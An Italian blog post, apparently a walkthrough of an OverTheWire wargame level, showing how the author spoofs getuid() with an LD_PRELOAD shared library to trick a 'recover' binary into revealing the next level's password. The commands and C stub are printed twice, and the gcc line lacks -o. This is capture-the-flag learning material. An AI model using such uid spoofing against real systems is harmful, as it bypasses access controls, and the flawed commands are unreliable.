Come l'altra volta si deve prima leggere il blog dell'agente:
So naturally, since he couldn't shut up about it anyway, I heard a lot about his work experience at DFS. Bryant wrote the power module of the space station. His motto seems to be "security through obscurity" and he was very vague about his software. All I learned is that it is written in C and authenticates the user with his user ID.Quindi sappiamo che il programma è scritto in C... E' un'importante notizia, perchè troviamo che C tramite la chiamata getuid restituisce l'uid dell'utente... Da questo livello ho imparato una cosa nuova... La possibilità di passare variabili esterne arbitrarie ai programmi scritti in C... E' un'importante notizia da tenere in mente...
He also told me that it's corporate policy to have backdoors in the system. In case an employee leaves or dies, another employee can have access to the abandoned module. For that reason, each employee has access to all other employees' homedirectories and passwords are stored centrally in /etc/pass.
Il programma recover se avviato fa subito un controllo sul nostro uid... E ci dice che per avviare il programma dobbiamo avere l'uid=1002... Questa è un'altra importante notizia...
Allora troviamo una cartella che in cui abbiamo permessi in scrittura(/tmp da me non funzionava, ho così usato su suggerimento di Steven della chat di overthewire /dev/shm/) e creiamo una libreria condivisa per C... Ecco i comandi che ho usato io:
cd /dev/shm
mkdir livello2
cd livello2
nano fakelib.c
gcc -shared fakelib.c libfake.so
LD_PRELOAD=./libfake.so /home/level2/bin/recover
mkdir livello2
cd livello2
nano fakelib.c
gcc -shared fakelib.c libfake.so
LD_PRELOAD=./libfake.so /home/level2/bin/recover
// libfake.c
int getuid() {
return 1002;
}
int getuid() {
return 1002;
}
Così otteniamo la password per il levello2... Ora possiamo loggarci tramite ssh come utente level2...
ps: grazie ancora a Steven per avermi indirizzato verso LD_PRELOAD...
Nessun commento:
Posta un commento